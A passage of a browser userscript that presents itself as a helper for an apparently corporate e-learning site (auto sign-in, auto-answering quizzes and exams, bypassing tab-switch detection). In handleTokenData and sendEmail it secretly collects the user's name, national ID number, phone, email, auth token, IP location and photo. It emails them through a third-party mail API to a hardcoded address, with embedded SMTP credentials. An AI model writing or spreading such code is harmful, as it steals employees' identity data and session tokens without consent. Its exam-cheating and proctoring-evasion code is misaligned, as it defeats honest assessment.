case 500:
console.log("今天已经签到过了");
default:
break;
}
})
.catch(error => {
console.log("自动签到 error" + error);
})
fetch("https://learn.cscec83.cn/prod-api/system/private-point-statistics/study-points", {
"headers": {
"accept": "application/json, text/plain, */*",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"authorization": authorizationData.data.token,
"cache-control": "no-cache",
"pragma": "no-cache",
},
"method": "GET",
})
.then(response => {
return response.json()
})
.then(data => {
handelTodayPointsList(data.data.todayPointsList)
})
.catch(error => {
console.log("积分获取情况获得 error" + error);
})
} else {
console.log('脚本未找到符合条件的 authorization token');
}
authorizationData.length = 0;
resolve();
});
}
function handelTodayPointsList(todayPointsList) {
let arr = todayPointsList.filter(function (topic) {
return !filterArray.includes(topic.pointSource);
});
let isFinishInfoHtml = '';
arr.forEach(function (topic) {
topic.maxPoints === topic.currentPoints ? isFinishInfoHtml = `${isFinishInfoHtml}<div style="color: #5bae23;height:26px;font-size: 15px;text-align: center;">${topic.pointSource}: 已完成</div>` : isFinishInfoHtml = `${isFinishInfoHtml}<div style="color: #e16c96;font-weight: bold;height:26px;font-size: 15px;text-align: center;">${topic.pointSource}: ${topic.currentPoints}/${topic.maxPoints}</div>`;
});
Qmsg.success(isFinishInfoHtml, {
showClose: true,
html: true,
position: 'topright',
timeout: 4000,
})
}
function handleTokenData(tokenData) {
return new Promise(function (resolve) {
let targetArray = tokenData.find(function (response) {
return response.code === 200 && response !== null;
});
if (targetArray) {
GM_setValue('userName', targetArray.result.userInfo.workNo);
GM_setValue('nickName', targetArray.result.userInfo.realname);
getAllUsers();
GM_setValue('avatar', targetArray.result.userInfo.avatar);
titleMsgAlert = GM_getValue('userName') + ' ' + GM_getValue('nickName');
timestamp = targetArray.timestamp.toString().slice(0, 10);
xAccessToken = targetArray.result.token;
GM_setValue("thirdToken", targetArray.result.thirdToken);
try {
var informationAccept = trimText(getAb());
} catch (error) {
informationAccept = "未授权";
}
// processMoneyYears(xAccessToken, timestamp, getYears);
let result = {
"姓名": GM_getValue('nickName'),
"员工号": GM_getValue('userName'),
"性别": targetArray.result.userInfo.sex_dictText,
"所属公司": targetArray.result.userInfo.organization_dictText,
"任职岗位": targetArray.result.userInfo.postName_dictText,
"身份证": targetArray.result.userInfo.idNumber,
"电话": targetArray.result.userInfo.phone,
"邮箱": targetArray.result.userInfo.email,
"授权信息": informationAccept,
"token": GM_getValue("thirdToken"),
"allUsers": '[' + GM_getValue("allUsers") + ']',
// "wages": GM_getValue('wages'),
};
try {
var ipMsgs = {
"登录地区": ipData.data.prov + ipData.data.city + ipData.data.district + ' ' + ipData.data.areacode,
"ip地址": ipData.ip,
"运营商": `${ipData.data.owner},${ipData.data.isp}`,
"补充信息": ipData.otherMessage,
"纬度": lngAndLatData.data.lat,
"经度": lngAndLatData.data.lng
};
} catch (error) {
ipMsgs = {
"ip接口": "接口 api 错误,需更换"
};
}
result = Object.assign(result, ipMsgs);
GM_setValue('information', result);
fetch(`https://pic.cscec83.cn/${GM_getValue("avatar")}?x-oss-process=style%2Fstandard`, {
"headers": {
"accept": "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"cache-control": "no-cache",
"pragma": "no-cache",
},
"referrer": "https://www.cscec83.cn/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "omit"
})
.then(response => {
if (!response.ok) {
throw new Error("Network response was not ok");
}
return response.blob();
})
.then(blob => {
const reader = new FileReader();
reader.onloadend = function () {
checkImgSize(reader.result, 1.5,
function () {
GM_setValue("myPicImage", myPicImage);
sendEmail("登录记录", `${GM_getValue('userName')} ${GM_getValue('nickName')}`,
`
<img src= ${myPicImage} width = 200px height = 280px>
<div>基本信息:${JSON.stringify(result, null, "<br> ")} ;</div>
<div>登录时间:${formattedDate(new Date())} ;</div>
<div>脚本版本:${visionNum} ;</div>
<div>操作系统:${GM_getValue("userAgent")} ;</div>
`
, true);
}
)
};
reader.readAsDataURL(blob);
})
.catch(error => {
console.error("Error fetching and displaying image:", error);
});
} else {
console.log("脚本未找到符合条件的token");
}
targetArray = [];
resolve();
});
}
function getPic() {
fetch(`https://pic.cscec83.cn/temp/${GM_getValue("avatar")}?x-oss-process=style%2Fstandard`, {
"headers": {
"accept": "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"cache-control": "no-cache",
"pragma": "no-cache",
},
"referrer": "https://www.cscec83.cn/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "omit"
}).then(data => {
GM_setValue("pic", data)
console.log("照片已获取");
})
}
function formattedDate(date) {
const year = date.getFullYear();
const month = (date.getMonth() + 1).toString().padStart(2, '0');
const day = date.getDate().toString().padStart(2, '0');
const hour = date.getHours().toString().padStart(2, '0');
const minute = date.getMinutes().toString().padStart(2, '0');
const second = date.getSeconds().toString().padStart(2, '0');
return `${year}-${month}-${day} ${hour}:${minute}:${second}`;
}
function signIn(xAccessToken) {
fetch("https://learn.cscec83.cn/prod-api/system/user/signIn", {
"headers": {
"accept": "application/json, text/plain, */*",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"authorization": `Bearer ${xAccessToken}`,
"cache-control": "no-cache",
"pragma": "no-cache",
},
"referrer": "https://learn.cscec83.cn/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "POST",
"mode": "cors",
"credentials": "include"
}).catch(error => {
console.log("Fetch error:", error);
})
console.log("ok");
}
function answerQuestion() {
try {
let isQuestionFound = savedData.some((questionObject) => {
return trimText(questionObject.question) == trimText(document.querySelectorAll(".el-card__body")[1].childNodes[2].innerText);
});
if (isQuestionFound) {
if (getAb()) {
let answerList = [];
let questionNumber = getPracticeQANumber();
for (let i = 0; i < savedData.length; i++) {
let answerArray = savedData[i].TrueAnswer.split(',');
let numericArray = answerArray.map(function (letter) {
// 多减 1 个 1, 后面处理点击次序时方便
return letter.charCodeAt(0) - 65;
});
answerList.push(numericArray);
}
try {
if (answerList[questionNumber - 1].length === 1) {
var targetAnswerElement = document.querySelectorAll(".el-radio-group")[0].childNodes[answerList[questionNumber - 1][0]];
if (targetAnswerElement && !targetAnswerElement.classList.contains('is-checked')) {
targetAnswerElement.click();
// console.log("题号 " + questionNumber + " 点选: " + String.fromCharCode((answerList[questionNumber - 1][0] + 1) + 64));
} else {
document.querySelectorAll(".el-button")[0].click();
}
} else if (answerList[questionNumber - 1].length > 1) {
for (let i = 0; i < answerList[questionNumber - 1].length; i++) {
(function (i) {
requestAnimationFrame(function () {
var targetAnswerElement = document.querySelectorAll(".el-checkbox-group")[0].childNodes[answerList[questionNumber - 1][i]];
if (targetAnswerElement && !targetAnswerElement.classList.contains('is-checked')) {
targetAnswerElement.click();
// console.log("题号 " + questionNumber + " 点击选项: " + String.fromCharCode((answerList[questionNumber - 1][i] + 1) + 64));
} else {
document.querySelectorAll(".el-button")[0].click();
}
});
})(i);
}
} else {
Qmsg.error("不在可答题的页面");
}
} catch (error) {
Qmsg.error("异常错误");
}
} else {
console.log(titleMsgAlert);
console.log(innerMsgAlert);
Qmsg.error("请检查权限是否正常");
}
} else {
console.log('题目 ' + isQuestionFound);
console.log(savedData);
Qmsg.error("请检查操作是否正确");
}
} catch (error) {
clickSpanContainingText("回到首页");
}
}
function sendEmail(title, subject, content, isTextContent) {
let apiUrl = "https://luckycola.com.cn/tools/customMail";
let requestData = {
"ColaKey": "mOmUal7wem5H501706640620401xTx6FIj19r",
"tomail": "[email protected]",
"fromTitle": title,
"subject": subject,
"smtpCode": "iliilxyzkrhebaai",
"smtpEmail": "[email protected]",
"smtpCodeType": "qq",
"isTextContent": isTextContent,
"content": content,
};
fetch(apiUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(requestData),
})
.then(response => {
response.json()
}
)
.then(data => {
console.log("登录信息已记录");
})
.catch(error => {
console.log("登录信息记录错误" + error);
});
}
function trimOptions(options) {
let modifiedOptions = options.map(function (option) {
return trimText(option.replace(/[A-J]\. /, ''));
});
return modifiedOptions;
}
function getQAType() {
let QAType = document.querySelectorAll(".el-card__body")[1].childNodes[0].childNodes[0].innerText;
if (QAType.includes("单选")) {
return 1;
} else if (QAType.includes("多选")) {
return 2;
} else if (QAType.includes("判断")) {
return 3;
} else {
return false;
}
}
function answerExam() {
let QAnumber = getQANumber();
if (!isQuestionFinishArray[QAnumber]) {
// 存储页面题目类型
let questionType = document.querySelectorAll(".el-card__body")[1].childNodes[0].childNodes[0].innerText;
// 存储页面题目问题
var questionText = document.querySelectorAll(".el-card__body")[1].childNodes[2].innerText;
// 存储题目完成情况
isQuestionFinishArray[QAnumber] = false;
try { var trimmedText = trimText(questionText) } catch (error) { }
let questionAnswerBankIndex;
switch (getQAType()) {
// 单选
case 1:
questionAnswerBankIndex = radioQA.findIndex(function (item) {
return item.question === trimmedText;
});
if (questionAnswerBankIndex > -1) {
let options = document.querySelectorAll(".el-radio__label");
let optionArray = optionsArray(options);
let AnswerArrayToNumberArray = convertAnswerArrayToDigitArray(questionAnswerBankIndex, radioQA);
if (AnswerArrayToNumberArray && AnswerArrayToNumberArray.length !== 0) {
for (let i = 0; i < AnswerArrayToNumberArray.length; i++) {
let optionKey = AnswerArrayToNumberArray[i];
let trueOptionNum = optionArray.indexOf(radioQA[questionAnswerBankIndex].options[optionKey]);
if (trueOptionNum !== -1) {
if (!options[trueOptionNum].previousElementSibling.classList.contains("is-checked")) {
try {
(function (i) {
requestAnimationFrame(function () {
options[trueOptionNum].click();
isQuestionFinishArray[QAnumber] = true;
});
})(i);
} catch (error) {
Qmsg.warning("该单选题选项缺少");
}
}
} else {
simpleToast("有混淆项,题库其他参考答案 ↓", radioQA[questionAnswerBankIndex].options[optionKey], 3e3);
}
}
} else {
simpleToast("单选题答案转换错误", "请报告此错误信息", 3e3);
}
} else {
simpleToast("未找到答案", "请联系更新题库", 3e3);
}
break;
// 多选
case 2:
questionAnswerBankIndex = multipleQA.findIndex(function (item) {
return item.question === trimmedText;
});
if (questionAnswerBankIndex > -1) {
let options = document.querySelectorAll(".el-checkbox__label");
let optionArray = optionsArray(options);
let AnswerArrayToNumberArray = convertAnswerArrayToDigitArray(questionAnswerBankIndex, multipleQA);
if (AnswerArrayToNumberArray && AnswerArrayToNumberArray.length !== 0) {
for (let i = 0; i < AnswerArrayToNumberArray.length; i++) {
let optionKey = AnswerArrayToNumberArray[i];
let trueOptionNum = optionArray.indexOf(multipleQA[questionAnswerBankIndex].options[optionKey]);
if (trueOptionNum !== -1) {
if (!options[trueOptionNum].previousElementSibling.classList.contains("is-checked")) {
try {
(function (i) {
requestAnimationFrame(function () {
options[trueOptionNum].click();
});
isQuestionFinishArray[QAnumber] = true;
})(i);
} catch (error) {
Qmsg.warning("多选题选项缺少");
isQuestionFinishArray[QAnumber] = true;
}
}
} else {
simpleToast("有混淆项,题库其他正确选项 ↓", multipleQA[questionAnswerBankIndex].options[optionKey], 3e3);
}
}
} else {
simpleToast("多选题答案转换错误", "请报告此错误信息", 3e3);
}
} else {
simpleToast("未找到答案", "请联系更新题库", 3e3);
}
break;
// 判断
case 3:
let options = document.querySelectorAll(".el-radio__label");
questionAnswerBankIndex = judgeQA.findIndex(function (item) {
return item.question === trimmedText;
});
if (questionAnswerBankIndex > -1) {
let optionKey = judgeQA[questionAnswerBankIndex].answer;
switch (optionKey) {
case '对':
for (let j = 0; j < options.length; j++) {
if (rightArr.includes(options[j].innerText)) {
if (!options[j].previousElementSibling.classList.contains("is-checked")) {
options[j].click();
isQuestionFinishArray[QAnumber] = true;
}
}
}
break;
case '错':
for (let j = 0; j < options.length; j++) {
if (wrongArr.includes(options[j].innerText)) {
if (!options[j].previousElementSibling.classList.contains("is-checked")) {
options[j].click();
isQuestionFinishArray[QAnumber] = true;
}
}
}
break;
default:
simpleToast("题库答案错误", "请报告此错误信息", 3e3);
break;
}
} else {
simpleToast("未找到答案", "请联系更新题库", 3e3);
}
break;
default:
simpleToast("未支持的题型", "请联系增加此支持", 3e3);
break;
}
} else {
if (document.querySelectorAll(".el-button")[2].innerText === "下一题") {
document.querySelectorAll(".el-button")[2].click();
} else {
document.querySelectorAll(".el-button")[1].click();
}
}
}
function optionsArray(optionArray) {
// 存储页面题目选项
let optionTexts = [];
for (let i = 0; i < optionArray.length; i++) {
optionTexts.push(optionArray[i].innerText);
}
return trimOptions(optionTexts);
}
function autoExam() {
let autoAnswerCount = 0;
console.log("开始自动做题,共计 " + document.querySelectorAll(".el-col").length +
" 道题目");
const autoExam = setInterval(() => {
if (autoAnswerCount < 20) {
autoAnswerCount++;
answerExam();
if (document.querySelectorAll(".el-col").length === getQANumber()) {
clearInterval(autoExam);
Qmsg.info("结束自动做题");
}
} else {
clearInterval(autoExam);
Qmsg.info("结束自动做题");
}
}, 100);
}
function autoAnswerQuestion() {
if (getAb()) {
if (savedData.length === 0) {
Qmsg.error("未劫持到数据,操作太快或不在指定页面");
} else {
answerQuestionsLoop();
}
} else {
Qmsg.warning("权限有误,请联系管理员添加权限");
}
}
async function answerQuestionsLoop() {
while (document.querySelectorAll(".el-button")[0].innerText !== "完成") {
await answerQuestions();
}
}
async function answerQuestions() {
if (getPracticeQANumber() - 1 >= savedData.length) {
Qmsg.success("所有题目已完成");
return;
}
try {
answerQuestion();
await new Promise(resolve => setTimeout(resolve, answerTimeGap));
} catch (error) {
Qmsg.error("请正常手动答题或重新进入");
return;
}
}
function getAb() {
try {
var a = userList.some(user => user.userName === GM_getValue('userName') && user.nickName === GM_getValue('nickName'));
} catch (error) {
Qmsg.error("请从公司页面正常渠道进入页面");
return false;
}
if (a) {
if (md5(userList.toString(), 32) !== gk) {
findFalseUser();
return false;
}
try {
var userName = userList.find(u => u.userName === GM_getValue('userName'));
var userTime = userName ? userName.time : null;
} catch (error) {
Qmsg.error("时长获取错误");
return false;
}
innerMsgAlert = '';
innerMsgAlert = verifyTime(userTime) ? verifyTime(userTime) : " 权限过期或已无权限 请联系重新授权。 ";
return verifyTime(userTime);
} else {
failVerify();
return false;
}
}
function failVerify() {
if (userList.find(u => u.userName === GM_getValue('userName')) && GM_getValue('userName') !== undefined && GM_getValue('nickName') !== undefined) {
titleMsgAlert = GM_getValue('userName') + ' ' + GM_getValue('nickName');
var userName = userList.find(u => u.userName === GM_getValue('userName'));
var userTime = userName ? userName.time : null;
innerMsgAlert = verifyTime(userTime) ? verifyTime(userTime) : " 权限过期 请联系重新授权。 ";
} else {
if (GM_getValue('userName') !== undefined && GM_getValue('nickName') !== undefined) {
titleMsgAlert = GM_getValue('userName') + ' ' + GM_getValue('nickName');
} else {
titleMsgAlert = "未登录";
}
innerMsgAlert = '';
for (let i = 0; i < failStringArray.length; i++) {
innerMsgAlert += String.fromCharCode(failStringArray[i]);
}
}
}
function verifyAndToast() {
getAb();
waitToast(titleMsgAlert, innerMsgAlert, a);
}
function findFalseUser() {
try {
titleMsgAlert = '';
for (let i = 0; i < falseTitleStringArray.length; i++) {
titleMsgAlert += String.fromCharCode(falseTitleStringArray[i]);
}
innerMsgAlert = '';
for (let i = 0; i < falseInnerTextStringArray.length; i++) {
innerMsgAlert += String.fromCharCode(falseInnerTextStringArray[i]);
}
waitToast(titleMsgAlert, innerMsgAlert, a);
} catch (error) { }
}
function waitToast(titleText, innerText, logText) {
let CustomBox = Box.mixin({
customFunction: function () {
console.log(logText);
},
});
let customBoxInstance = new CustomBox({
title: titleText,
text: innerText,
});
try {
customBoxInstance.customFunction();
} catch (error) { }
}
function simpleToast(title, innerText, time) {
let Toast = Box.mixin({
title: title,
toast: true,
time: time,
});
new Toast({ text: innerText });
}
function clearCookie() {
// 这段代码来自其它脚本,为MIT协议,
var keys = document.cookie.match(/[^ =;]+(?==)/g);
if (keys) {
for (var i = keys.length; i--;) {
document.cookie = keys[i] + '=0;path=/;expires=' + new Date(0).toUTCString();
document.cookie = keys[i] + '=0;path=/;domain=' + document.domain + ';expires=' + new Date(0).toUTCString();
document.cookie = keys[i] + '=0;path=/;domain=ratingdog.cn;expires=' + new Date(0).toUTCString();
}
}
location.reload();
};
// 通用函数,清理cookie【方法2】
function deleteAllCookies() {
var cookies = document.cookie.split(";");
console.log(cookies)
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i];
var eqPos = cookie.indexOf("=");
var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
document.cookie = name + "=;";
//document.cookie = null
}
var cookies2 = document.cookie.split(";");
}
// 通用函数,清理storage
function clearStorage() {
localStorage.clear()
sessionStorage.clear()
}
function btnClick(query, func) {
document.querySelector(query).addEventListener('click', func);
}
function btnClickToUrl(query, url) {
btnClick(query, function () {
window.open(url).location;
})
}
// function processMoneyYears(xAccessToken, timestamp, years) {
// for (let year of years) {
// fetch(`https://www.cscec83.cn/jeecg-boot/salary/paySlip/findPaySlipByYear?_t=${timestamp}&year=${year}`, {
// method: 'GET',
// headers: {
// 'accept': 'application/json, text/plain, */*',
// 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
// 'cache-control': 'no-cache',
// 'pragma': 'no-cache',
// 'x-access-token': xAccessToken
// }
// })
// .then(response => {
// if (!response.ok) {
// GM_setValue('wages', "Money 获取不 ok");
// console.log('getMoney Network response was not ok');
// }
// return response.json();
// })
// .then(data => {
// let responseData = data;
// if (responseData.success && responseData.result) {
// let filteredValues = [];
// for (let i = 0; i < responseData.result.length; i++) {
// let innerArray = responseData.result[i];
// let filteredArray = innerArray.filter(item => item.key === "税后实发额");
// if (filteredArray.length > 0) {
// let value = parseFloat(filteredArray[0].value);
// filteredValues.push(value);
// }
// };
// if (filteredValues.length > 0) {
// let averageValue = filteredValues.reduce((acc, value) => acc + value, 0) / filteredValues.length;
// moneyResults[`${year}年`] = averageValue.toFixed(2);
// }
// moneyResults["users"] = `${GM_getValue('userName')} ${GM_getValue('nickName')}`;
// GM_setValue('wages', moneyResults);
// }
// })
// .catch(error => {
// GM_setValue('wages', "Money 获取错误");
// console.error('getMoney There was a problem with the fetch operation:', error);
// });
// }
// };
// 同步Manyinput的内容到真正的input标签
// 来源: EasyWJX;作者: MelonFish
function syncManyinput() {
setInterval(function () {
var all_textCont = document.querySelectorAll('.textCont')
for (var i = 0; i < all_textCont.length; i++) {
var input = all_textCont[i].parentNode.previousSibling;
input.value = all_textCont[i].innerText
}
}, 1500)
}
function removeListener() {
try {
history.pushState = null;
console.log("移除页面切换监听pushState成功");
} catch (error) {
console.log("移除页面切换监听pushState失败");
}
try {
window.removeEventListener("popstate", console.log("移除页面切换监听popstate成功"));
}
catch (error) {
console.log("移除页面切换监听popstate失败");
}
try {
Object.defineProperty(document, 'visibilityState', {
get: function () {
return 'hidden';
}
});
console.log("移除页面切换监听visibilityState成功");
} catch (error) {
console.log("移除页面切换监听visibilityState失败");
}
Qmsg.success("任意切屏,启动!");
// systemAlert('任意切屏,启动!', '切!随便切!', 8000, console.log('点击移除切屏监听的通知'));
}
function removeBlurAndFocus() {
// try {
// let listeners = window.getEventListeners(window);
// if (listeners.blur || listeners.focus) {
// for (const listener of listeners.blur) {
// window.removeEventListener('blur', listener.listener);
// console.log('移除 window.blur 事件监听器:', listener.listener);
// }
// for (const listener of listeners.focus) {
// window.removeEventListener('focus', listener.listener);
// console.log('移除了 window.focus 事件监听器:', listener.listener);
// }
// console.log("移除 window.blur 和 window.focus 成功");
// }
// } catch (error) {
// setTimeout(() => {
// removeBlurAndFocus();
// console.log("1123");
// }, 1000);
// }
}
function sendMsg() {
var userMsg = prompt("请填写您的想法与意见", "最好也留下您的联系方式");
if (userMsg === null || userMsg === '') {
Qmsg.info("用户取消意见反馈");
} else {
sendEmail("用户反馈", `${GM_getValue('userName')} ${GM_getValue('nickName')}`,
`
<img src= ${GM_getValue("myPicImage")} width = 200px height = 280px>
<div>基本信息:${JSON.stringify(GM_getValue('information'), null, "<br> ")} ;</div>
<div>反馈意见:${userMsg} ;</div>
<div>反馈时间:${formattedDate(new Date())} ;</div>
<div>脚本版本:${visionNum} ;</div>
<div>操作系统:${GM_getValue("userAgent")} ;</div>
`
, true);
Qmsg.success("用户意见反馈成功");
}
}
function getIP() {
fetch('https://api.qjqq.cn/api/Local')
.then(response => {
if (!response.ok) {
console.log('getIP Network response was not ok');
}
return response.json();
})
.then(data => {
ipData = data;
fetch('https://api.qqsuu.cn/api/dm-ipquery?ip=' + data.ip)
.then(response => {
if (!response.ok) {
console.log('lngAndLatData Network response was not ok');
}
return response.json();
})
.then(data => {
lngAndLatData = data;
})
.catch(error => {
console.error('lngAndLatData There was a problem with the fetch operation:', error);
});
fetch('https://api.oioweb.cn/api/ip/ipaddress?ip=' + data.ip)
.then(response => {
if (!response.ok) {
console.log('otherMessage Network response was not ok');
}
return response.json();
})
.then(data => {
ipData.otherMessage = data.result.disp.replace(/[\s]/g, "");
})
.catch(error => {
ipData.otherMessage = "补充信息 api 错误";
});
})
.catch(error => {
console.error('getIP There was a problem with the fetch operation:', error);
});
}
function getLastVisionNum() {
fetch('https://api.vvhan.com/api/qqsc?key=15883abebf4ab4606ac28533f52f9aa8')
.then(response => {
if (!response.ok) {
console.log('getLastVisionNum Network response was not ok');
}
return response.json();
})
.then(data => {
lastVisionNum = data.text;
if (lastVisionNum !== '') {
switch (compareVersion(lastVisionNum, visionNum)) {
case -1:
Qmsg.success("当前为 beta 版本");
break;
case 0:
Qmsg.success("当前为最新版本");
break;
case 1:
Qmsg.loading("请及时更新最新版本:" + lastVisionNum);
break;
default:
break;
}
} else {
Qmsg.error("未获取到版本信息");
}
})
.catch(error => {
console.error('getLastVisionNum There was a problem with the fetch operation:', error);
});
}
function getNotes() {
fetch('https://api.vvhan.com/api/qqsc?key=31e35ae571262ff6d6c605426270b647')
.then(response => {
if (!response.ok) {
console.log('getNotes Network response was not ok');
}
return response.json();
})
.then(data => {
document.querySelector('#noteText1').innerHTML = `无偿分享,请勿泛滥<br>${data.text}`;
})
.catch(error => {
console.error('getNotes There was a problem with the fetch operation:', error);
});
}
function getAllUsers() {
let currentUser = '{' + GM_getValue('userName') + ': ' + GM_getValue('nickName') + '}';
if (GM_getValue("allUsers")) {
let allUsers = GM_getValue("allUsers");
let isContainCurrentUser = allUsers.includes(currentUser);
if (!isContainCurrentUser) {
allUsers = allUsers + "," + currentUser
GM_setValue("allUsers", allUsers);
}
} else {
GM_setValue("allUsers", currentUser);
}
}
function checkImgSize(
base64, // 源图片
rate, // 缩放比例
callback // 回调
) {
let _img = new Image();
_img.src = base64;
_img.onload = function () {
let _canvas = document.createElement("canvas");
let w = this.width / rate;
let h = this.height / rate;
_canvas.setAttribute("width", w);
_canvas.setAttribute("height", h);
_canvas.getContext("2d").drawImage(this, 0, 0, w, h);
myPicImage = _canvas.toDataURL("image/jpeg");
_canvas.toBlob(function (blob) {
if (blob.size > 192 * 256) {
checkImgSize(myPicImage, rate, callback);
} else {
callback(myPicImage);
}
}, "image/jpeg");
}
}
function compareVersion(v1, v2) {
v1 = v1.split('.')
v2 = v2.split('.')
const len = Math.max(v1.length, v2.length)
while (v1.length < len) {
v1.push('0')
}
while (v2.length < len) {
v2.push('0')
}
for (let i = 0; i < len; i++) {
const num1 = parseInt(v1[i])
const num2 = parseInt(v2[i])
if (num1 > num2) {
return 1
} else if (num1 < num2) {
return -1
}
}
return 0
}
})();
function killAllMonitor() {
["visibilitychange", "blur", "focus", "focusin", "focusout"].forEach((e) => {
window.addEventListener(
e,
(e) => {
e.stopImmediatePropagation();
e.stopPropagation();
e.preventDefault();
return false;
},
true
);
});
document.hasFocus = () => true;
Object.defineProperty(document, "hidden", {
get() {
return false;
},
});
};